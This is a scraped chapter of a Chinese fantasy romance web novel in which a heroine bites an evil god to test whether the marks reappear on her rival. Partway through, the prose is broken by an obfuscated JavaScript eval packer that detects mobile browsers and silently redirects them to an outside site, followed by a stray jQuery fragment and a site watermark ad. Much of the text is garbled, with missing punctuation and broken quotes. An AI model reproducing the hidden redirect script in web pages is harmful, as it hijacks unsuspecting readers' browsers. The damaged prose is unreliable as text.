第 77 章 唇齿痕

作品:《饲养邪神后始乱终弃

    第77章唇齿痕


    “不可以吃,”祝遥栀制止了邪神的残暴行径,“虽然这些也不一定是人。”


    但其中还是有不少修士的。


    “唔。”小怪物的注意力更多放在另一件事上,祂低头蹭了蹭祝遥栀的颈窝,“栀栀,想要我?”


    “什——”祝遥栀一口气没喘匀差点把自己呛到,她立刻解释清楚,“没有没有,我不是这个意思。”


    天啦,她只是像确认一下邪神身上有没有和李眉砂一样的痕迹。


    邪神:“哦。”


    少年垂下眼睫,鬓边碎发也耷拉下去,像是被雨淋湿的猫猫。


    好像很失望的样子。


    祝遥栀有些好笑地摸了摸祂毛绒绒的头发,说:“我只是想确认一些事情。”


    “什么事情?”小怪物歪着脑袋蹭了蹭她的手心。


    祝遥栀有些不自在,轻咳了一声才说:“我之前不是咬过你…我看看那些痕迹有没有淡了。”


    邪神可能觉得她在关心祂,眼瞳都亮了些许,“还在,我不想它们没掉。”


    “……”祝遥栀有些牙酸。


    她知道小怪物受了伤后的自愈速度有多逆天,如果不是故意的,她咬了一口后头还没抬起来那些痕迹就已经不见了,但邪神故意留着,有什么办法。


    银白触手蔓延开来,覆盖了整座竹亭,有些垂下来叭地一下亲了亲祝遥栀的头发。


    祝遥栀盯着邪神的衣袍,甚至已经上手去扒拉祂肩上的玄玉缀饰,但她欲行不轨的爪子被扣住了。


    “栀栀,”邪神与她耳语,“跟我回去再看。”


    “只给栀栀看。”


    可能是夕阳残留的余温,祝遥栀觉得脸上微烧,她婉拒道:“不行,我暂时还要待在这里。”


    邪神有些不满地咬了咬她的耳尖,力道轻到可以忽略不计。


    但是祝遥栀真的很在意邪神和李眉砂之间的联系,不论如何她今晚必须确认邪神左肩上到底有没有一模一样的痕迹。


    所以她安抚地摸了摸缠着她的触手,说:“再等一下,等会去我的画境。”


    虽然这听起来很像是在画饼,但小怪物一向好哄,听她这么说就不咬她的耳朵了,


    只是亲个没完。


    祝遥栀尽力忽略邪神的亲吻卷起一角竹帘看向庭院里面的正厅。


    此时夕霞坠向群山天色擦黑已经入夜了。


    宾客中既有醉于美酒的普通人也有不少静观其变的修士。


    终于一顶花轿被四平八稳的抬了进来周围跟着提着灯笼的丫鬟花轿上的珠翠流苏映着灯火金碧辉煌。


    大红花轿从庭院中间穿过在厅前停了下来。


    而后一众丫鬟退开了些许祝遥栀看到一名身穿艳红喜服的男子缓步而来玉白手指执了一盏并蒂红莲花灯。


    男子身形颀长面容比女子还要美艳眼睛与李眉砂有些相似但柔和含笑五官妖而不媚他一出现庭中百花瞬间失了颜色。


    他撩开花轿的轿帘柔声唤了一句:“簪星。”


    凤冠霞帔的女子从轿中走下红盖头掩去容貌只看得到纤细的身姿但背脊挺直每一步都端方雅正。


    祝遥栀已经确定了这就是李眉砂的父母李梦戈和陆簪星。


    “栀栀他们在成亲?”邪神低头亲了亲她的脸颊。


    “对。”祝遥栀的注意力仍然放在厅中夫妻对拜的两人身上。


    “栀栀想不想成亲?”邪神却轻声问她。


    她不由得转眸看了小怪物一眼枕在她肩上的少年眼瞳明璨似有星河坠入。


    她并不想但邪神一定想和她成亲。


    祝遥栀摸了摸铺在身上的银发并没有给确切的答复:“等以后再看看。”


    画饼什么的她一向擅长。


    邪神也没说什么。


    祝遥栀的目光继续看向正厅


    宾客中不少人献上祝福李梦戈浅笑回应。


    看上去是一段美满的姻缘。


    但祝遥栀注意到陆簪星自始自终一言不发若不是李梦戈牵着她她就只是沉默地站着安静得有些奇怪。


    这时邪神附在她耳廓低语:“两个都不是人。”


    祝遥栀怔了一下然后她低声问:“他们都是幻象?”


    邪神说:“女的是男的不是。”


    祝遥栀有些浑身发毛。


    而李梦戈已经牵着身旁女子的手,与她去了里间。


    庭院里的修士议论纷纷:


    “这是李梦戈?前任仙盟盟主?怎么长了这么一张妖孽脸。


    “李家的昙释刀传人就没有不好看的,据说开创刀法的那名女侠经过圣昙佛寺,只一眼就引得佛子重返红尘。


    “哎,长得再倾国倾城那又如何?我进水月观是为了找宝物又不是看他们成亲。


    “可这幻境不破,我们也无法窥见水月观的真容,更别提找什么宝物机缘。


    “那还是赶紧想办法破开这个幻境。


    祝遥栀听了几耳朵,明眼人都知道这是个幻境,毕竟陆簪星和李梦戈早就反目成仇,怎么可能心平气和的成亲,这些大概都只是回忆。


    问题是,阵眼会在哪里?


    她想得有些出神,被冷落了好一会的邪神抱着她摇晃了几下,“栀栀,你都不理我。


    哎,黏人。


    祝遥栀于是放下了竹帘,从手镯里拿出一卷画摊开在亭中石桌上,又抬手想在竹亭布下禁制。


    灵力从她指尖凝出,还没结出禁制法阵,她的指尖就被邪神含住,淡色的薄唇色如春樱。


    祝遥栀凝出的灵力都被一点点吃得干净,一丝都不剩下。


    怎么小怪物也喜欢吃她的灵力?


    邪神将她的灵力侵吞殆尽,才抬头说:“栀栀放心,这些蝼蚁无法感知这里。


    祝遥栀也就省了布禁制的功夫,直接带着邪神进入画境中。


    画境与他们之前来时一样,明月满天,落花沾衣,溪光摇晃着包围中间的竹阁。


    祝遥栀还被邪神抱在怀中,触手推开了竹阁的门,在他们进去后又立刻阖上。


    床榻宽大,不过大部分触手还是只能堆叠在地毯上,如同银色的波涛。


    祝遥栀忍不住问:“你很喜欢我的灵力?


    邪神:“喜欢。栀栀的一切我都喜欢。


    听上去是因为爱屋及乌,好像没什么问题。


    那李眉砂是因为什么?哪怕算上灵根属性,水灵根也并不需要冰灵力,反过来,李眉砂的灵力可能还对她有用些。


    祝遥栀还在思来想去,环在她腰间的手臂就收紧了,少年身躯紧紧贴在她背后,“栀


    栀,你今晚总是走神。”


    因为有正事要做啊。


    当然,祝遥栀没敢这么说,她只是充分地运用了语言的艺术:“因为我刚才在想,进了画境要对你做些什么。”


    也不算在说谎吧,毕竟她确实想要探知邪神和李眉砂之间的关联。


    小怪物对她这个回答比较满意,毛绒绒的脑袋蹭了蹭她的颈窝,眼里闪着期待的星光,“那栀栀想要做什么?”


    祝遥栀伸出爪子拍了拍祂的左肩,“我先看看我之前咬得怎么样。”


    邪神说:“栀栀下次可以咬的更重一些,这样就能留得久些。”


    祝遥栀轻咳一声,“我知道了。”


    如果可以,还是不要再有下次了。


    然后她的手就被牵起,被带着按上魔尊领口金丝嵌玉的盘扣上,“栀栀帮我解开。”


    月光与桃花卷帘而入,少年纤长的睫羽上勾了一小瓣桃花,那双眼瞳只映着她的身影,像是赠与她一整片星空。


    祝遥栀在非人能有的美貌中失神了一小会,才移开视线去看那几颗盘扣,轻轻应了一声:“嗯。”


    她一脸正经目不斜视,但指尖还是忍不住轻颤,特别是少年温热指腹摩挲过她指尖的时候。


    祝遥栀忍不住说:“你别动。”


    邪神:“唔。”


    没有了小怪物对她的手指捏来捏去,她总算解开了那几颗盘扣,衣领松开,露出少年苍白如玉的脖颈,喉结线条明晰有力。


    祝遥栀试着扒拉了一下,发现扒拉不开,她有些茫然地抬头。


    邪神牵着她的手指轻按在衣襟上,提醒道:“栀栀,还有这里。”


    “.好。”祝遥栀板着脸,把衣襟上的玉扣也给解了,她如愿以偿地拉开了邪神的衣袍。


    月华落在苍白肌理上,如照霜雪,祝遥栀越看越发现,忽略散落下来的细软银发,真的和李眉砂差不多,一模一样的宽肩窄腰。


    她面色越发凝重,伸手搭在邪神肩上,借力撑起上身,扒拉着少年的左肩往后看。


    借着从窗外照进来的月光,她清楚地看见少年肩上未消的红痕,小巧如月牙的指印,还有肩上那圈咬痕。


    从形状到位置,与李眉砂别无二致。


    “.”祝遥栀沉默,脸上


    神情顿时微妙起来。


    她还不至于连自己睡的到底是谁都分不清楚。


    但问题是本来应该只出现在小怪物身上的痕迹为什么也会出现在李眉砂身上。


    祝遥栀有一瞬间想要用弟子令把宿敌叫过来当面对质但她很快想起在水月观中所有传讯都被切断了。


    她只好作罢。


    但她真的想不明白凭什么李眉砂身上也会有她弄出来的痕迹?凭什么啊。


    难道她意乱情迷的时候已经糊涂到连自己睡了谁都能搞混?听起来也太混账了而且也不可能啊


    难道是她记忆错乱了?其实她在不知不觉中把宿敌给睡了还习惯性地咬了同样的咬痕。


    无论是哪一个都很离谱啊!


    祝遥栀苦思冥想还是想不出一个合理的解释她只觉得她的脑瓜子都要想炸了。


    可能是看她只是扒在肩上不动邪神伸手轻轻挠了挠她的后颈问:“栀栀你在做什么?”


    祝遥栀:“别吵我在思考。”


    邪神:?


    祂追问:“栀栀在思考什么?”


    思考她到底有没有把宿敌给睡了。


    当然这种话她不敢说当着小怪物的面说这些简直是在找死。


    所以她只是语气认真地问:“是你帮我解合欢蛊?也是你帮我压制繁衍血脉?”


    邪神:“当然。”


    这就对了她的记忆没有任何问题。


    总不会有什么存在能够篡改邪神的记忆。


    那这到底关李眉砂什么事啊?


    祝遥栀只觉得大脑空空然后她的脸颊就被轻轻戳了一下。


    小怪物拿手指轻轻戳她的脸“栀栀失忆了?装作不记得也不行不准赖账。”


    “我没有不记得。”祝遥栀歪了歪脑袋枕在祂肩上忍不住说“在你眼里我是什么提起裙子就不认的女人吗?”


    少年幽幽看她一眼问了一句:“那我和栀栀还是道侣?”


    “.”祝遥栀立刻沉默把脸埋在祂肩上装死。


    好吧她承认她是提了裙子就不认的渣女。


    邪神伸手轻轻挠了她耳后一下轻声说:“好坏。”


    小怪物没


    用什么力气,跟被猫猫不伸爪子挠了一样。


    挠得祝遥栀越发心虚,她埋在少年肩上闷声说:“我可没说不是。


    邪神微怔。


    然后祝遥栀感觉她的头顶被印下轻轻一吻。


    还好头发没有知觉,所以她也可以装作没有感受到那份沉重而无声的情意。


    其实只是一个口头承诺,像极了那些薄情负心的书生对姑娘说等我考取功名后就来娶你,但登科及第的书生向来只会娶那些官家小姐。


    这种口说无凭的“道侣关系,祝遥栀也不可能让别人知道。


    不过邪神默契地没有再多要求,像是只要她还肯承认就好了。


    祝遥栀窝在少年温热的怀抱中,又忍不住想起李眉砂的事情。


    现在看来,大概只有一个比较合理的解释,不知道宿敌私下里和谁相好,还碰巧被抓了被咬了,刚好和她留在邪神身上的一样。


    ——这其实也不太合理。


    这世上哪有如此碰巧的事情?


    她垂着眼帘,邪神以为她困了,就轻轻拍了拍她的后背,“栀栀要睡觉?


    “不睡。祝遥栀并不困倦。


    更何况她还在水月观里,情况难料,她怎么睡得着。


    画境外那些修士也不是吃素的,现在应该已经有所行动了,她倒不急,又不是为了什么机缘宝物,没必要当出头鸟。


    邪神一听她说不睡,掌心就附上她的后背,垂眸问:“要不要把剩下的繁衍血脉剔除了?


    这句话的语气太平静了,就像是在问她要不要吃夜宵。


    祝遥栀一开始还没反应过来,险些就要点头了,猛地反应过来,不对啊,要是真的要剔除,那她得死去活来好多次。


    她立刻说:“不要。


    邪神并不意外,只说:“若不用这些天摊下来,到时全部


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106285|149737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    剔除,栀栀不是更受不住?


    祝遥栀生无可恋地闭上双眼,说:“到时再说吧,我今晚不是很想。


    按照她的计划,她只要把这破剧情推完她就可以美美回家了,到时她和这个世界已经毫无瓜葛,自然不会被什么垃圾血脉影响。


    “好。邪神没有异议,只是以手指为梳齿,见她的头发理顺,“栀栀,我早上才梳好的,怎么又


    乱了?”


    那就要怪李眉砂了,要不是为了不引起宿敌的怀疑,她也不至于把自己弄得乱糟糟的。总不能别人一看她,就知道她其实在魔域过得挺滋润的。


    祝遥栀只说:“时间久了就乱了,我的头发又不会自己把自己弄整齐。”


    她说着,忍不住伸手摸了摸邪神垂落的银发,羽毛一样细软,丝丝缕缕缠上她的手指,绕了一圈又一圈。


    很像一只主动往她手心蹭的猫猫。


    邪神有些心疼地说:“栀栀要好好照顾它们,一乱就容易掉。”


    小怪物不是人,无法理解人的头发毫无知觉,掉了或者剪掉都不会有任何痛觉。


    祝遥栀说:“没关系的,我不疼,你是不知道以前我做数学题的时候,一抓一大把头发下来。”


    小怪物心疼地摸了摸她的头发,说:“数学题是什么?太坏了。”


    祝遥栀忍不住埋在祂肩头闷声笑了几下,“对,太坏了。”


    小怪物好,数学题坏。


    她抬起头,看见邪神肩上那一小圈牙印,伸手摸了摸,只剩不明显的浅淡凹痕。


    祝遥栀心中忽然生出一计。


    如果她再咬邪神一口,李眉砂身上会不会有相同的咬痕?


    今晚她绝对清醒,清醒得不能再清醒,不可能分不清楚自己咬的是谁。


    她就不信了,宿敌怎么这么邪门?她给小怪物的咬痕难道还能无缘无故就复制到李眉砂身上?


    祝遥栀打定主意,就侧过脸问邪神:“我能平白无故地咬你一口吗?”


    说</a>的域名qiexs.com?(请来企鹅小


    说


    看最新章节


    完整章节)


    “可以。”邪神还在给她梳理头发,轻声提醒了一句,“栀栀咬重一些,不然很快就没了。”


    “我知道。”祝遥栀磨了磨牙。


    当然得咬得用力一些,也得挑个比较容易看到的位置去咬,不然等会都看不到了,还怎么试探宿敌。


    她一开始想接着咬邪神的肩膀,快要下嘴的时候转念一想,不对啊,如果咬在这种位置,李眉砂平时又裹得严严实实的,她要看的话,岂不是得让宿敌把衣服脱了。


    这不太好,总不能接下来她一见到宿敌,张嘴就是一句“你给我把衣服脱了”。太不礼貌了,想想就觉得很变/态。


    所以祝遥栀的视线转移到了邪神的脖颈上,


    咬这里够明显了吧,一眼就能看到。


    她下定决心,她张嘴咬了上去。唇齿下的肌肤不明显地绷紧了,随着她呼吸的步调轻微战栗。


    虽然已经暗示过自己要用些力气,但祝遥栀还是没太下得去嘴,所以最终只是气势汹汹但轻轻咬了一口。


    她抬起头打量,虽然邪神肤色冷白,一旦有什么痕迹都看得清晰,但由于她咬得轻,所以并不显眼。


    哪怕是被蚊子咬一口,都比她咬的明显。


    她一口咬完,邪神就说:“这就好了?栀栀,你真的咬了?”


    祝遥栀有种被看扁了的感觉。


    女人不能说不行,祝遥栀想要重新证明自己:“那我再咬一口。”


    “咬。”邪神就差把脖子送到她嘴边了。


    祝遥栀低头埋进少年的颈窝,又咬了一口,这回她用了力,一抬头,果然看到了浅红的牙印。


    “好了。”祝遥栀满意了。


    邪神伸手摸了摸那圈牙印,说:“好浅,过一会就淡得看不见了。”


    “这样啊,”祝遥栀其实有些怀疑,但考虑到小怪物强大的自愈能力,她只好再试一次,“那我再咬一下。”


    “好。”邪神颔首,又亲了亲她的发尾。


    头发没有知觉,所以祝遥栀不知道,这么一会小怪物已经亲了她的头发多少次。


    她决定咬得再用力一些,干脆伸手环住邪神的脖颈,侧过脸张嘴又咬了一下。


    她真的用力了,但邪神说:“还是很容易就没了。”


    后来祝遥栀都记不清她到底咬了邪神多少下,随着力道渐重,她终于不负邪神所望,咬出血了。


    冰凉黏滑的血液涌入唇齿之间,尝起来其实没有什么味道,不腥,反而泛着幽甜的香气。


    少年宽大的手掌抚在她后脑勺,声音捎了些许沙哑:“对,就是这样。”


    祝遥栀回过神来,才发现她被小怪物骗了,其实根本不用咬到见血,小怪物只是想要她多咬几下。


    忽略牙齿带来的刺痛,啮咬犹如一种用力的亲吻。


    想清楚后她立刻抬起头,少年脖颈上都是重重叠叠的牙印,被她牙齿咬出的伤口已经止血了,像是不能流进她嘴里了所以就不想流了。


    “你这是”她忍不住


    说“其实不用这样。”


    “这样很好我就喜欢被栀栀咬。”邪神用下巴轻蹭她头顶的发旋低声说“栀栀又不肯亲我。”


    祝遥栀立刻闭嘴了:“.”


    好吧。果然被小怪物当成亲亲了。


    邪神确实喜欢被她咬之前喝醉酒都能被她直接咬得晕过去。


    不过这样一来都咬成这样了她就不信李眉砂脖子上还能有一模一样的。


    她不信邪无论宿敌私下里找什么相好都不可能咬出来同样的牙印。


    一定是碰巧对都是碰巧。


    见她又走神触手就伸过来在她脸上嘬了一口“栀栀不咬其他地方了?”


    祝遥栀:“不了。”


    如果不是为了弄清楚她原本都不想咬的。


    邪神:“哦。”


    见祂有些失望祝遥栀想了想还是找了个借口:“你的血有点黏牙。”


    其实并不唉


    烂借口是会遭报应的——


    邪神伸手轻轻捧起她的脸鼻尖轻轻蹭了一下她的“那我帮栀栀舔干净?”


    祝遥栀睁大了双眼“不、不用。”


    但是少年已经垂首覆上她的唇以吻封缄。


    邪神像是得了一种不和她亲亲就会浑身难受的怪病。


    作者有话要说